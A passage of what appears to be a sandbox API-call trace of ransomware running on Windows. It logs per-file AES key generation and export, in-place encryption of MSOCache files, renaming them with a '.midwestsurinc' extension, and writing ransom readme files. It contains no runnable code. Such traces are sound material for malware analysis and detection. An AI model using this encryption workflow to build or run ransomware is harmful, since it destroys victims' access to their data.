lpNumberOfBytesWritten=0x174fb28*=0x2cb13b, lpOverlapped=0x0) returned 1 [0101.514] FlushFileBuffers (hFile=0x2e8) returned 1 [0101.525] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.525] NtClose (Handle=0x2e8) returned 0x0 [0101.571] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.midwestsurinc")) returned 1 [0101.571] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0101.571] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0101.572] GetLastError () returned 0x2 [0101.572] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86390, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0101.572] GetLastError () returned 0x2 [0101.572] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.572] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.572] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0101.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0101.573] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2e9, lpOverlapped=0x0) returned 1 [0101.573] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5b7c4a70, dwHighDateTime=0x1d5dff7)) returned 1 [0101.573] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.573] NtClose (Handle=0x2e8) returned 0x0 [0101.574] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0101.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0101.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0101.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0101.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0101.587] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0101.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0101.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0101.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0101.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.587] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1 [0101.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0101.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0101.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0101.587] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0101.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0101.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.588] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1 [0101.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0101.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0101.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.588] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1 [0101.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.588] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0101.589] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc3e4630, dwHighDateTime=0x1d301be)) returned 1 [0101.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.589] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0101.589] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0101.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0101.589] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.590] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.590] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.590] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.590] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0101.590] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x940) returned 0x181a060 [0101.590] ReadFile (in: hFile=0x2e8, lpBuffer=0x181a060, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181a060*, lpNumberOfBytesRead=0x174fb28*=0x93a, lpOverlapped=0x0) returned 1 [0101.591] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x940) returned 0x184fc80 [0101.591] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1800818*, pdwDataLen=0x174fb24*=0x93a, dwBufLen=0xd3a | out: pbData=0x1800818*, pdwDataLen=0x174fb24*=0x940) returned 1 [0101.592] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.592] WriteFile (in: hFile=0x2e8, lpBuffer=0x181a060*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181a060*, lpNumberOfBytesWritten=0x174fb28*=0x93a, lpOverlapped=0x0) returned 1 [0101.592] FlushFileBuffers (hFile=0x2e8) returned 1 [0101.595] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.595] NtClose (Handle=0x2e8) returned 0x0 [0101.595] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc")) returned 1 [0101.596] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0101.596] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0101.596] GetLastError () returned 0x2 [0101.596] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf863b0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0101.596] GetLastError () returned 0x2 [0101.596] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.597] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.597] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0101.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0101.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0101.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0101.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0101.598] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0101.598] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2e9, lpOverlapped=0x0) returned 1 [0101.598] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5b7eabd0, dwHighDateTime=0x1d5dff7)) returned 1 [0101.598] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.598] NtClose (Handle=0x2e8) returned 0x0 [0101.599] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0101.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0101.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0101.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0101.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0101.599] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0101.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0101.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0101.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0101.599] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.599] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0101.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0101.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0101.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0101.600] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0101.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0101.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.600] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0101.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0101.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.601] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0101.601] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.601] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0101.601] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf79111d0, dwHighDateTime=0x1d301be)) returned 1 [0101.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.601] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0101.602] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0101.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0101.602] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.602] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.602] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0101.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0101.603] ReadFile (hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0) Thread: id = 411 os_tid = 0x86c [0071.672] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.673] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.673] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.684] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.690] GetFileType (hFile=0x1a0) returned 0x0 [0071.703] ResetEvent (hEvent=0x110) returned 1 [0071.703] SetEvent (hEvent=0x114) returned 1 [0071.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.710] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.727] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.727] GetFileType (hFile=0x1a0) returned 0x3 [0071.742] ResetEvent (hEvent=0x110) returned 1 [0071.742] SetEvent (hEvent=0x114) returned 1 [0071.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.820] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.820] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.820] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.820] GetFileType (hFile=0x1a0) returned 0x0 [0071.820] ResetEvent (hEvent=0x110) returned 1 [0071.820] SetEvent (hEvent=0x114) returned 1 [0071.821] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.821] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.821] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.821] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.821] GetFileType (hFile=0x1a0) returned 0x3 [0071.821] ResetEvent (hEvent=0x110) returned 1 [0071.821] SetEvent (hEvent=0x114) returned 1 [0071.821] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.821] WaitForMultipleObjects (nCount=0x2, 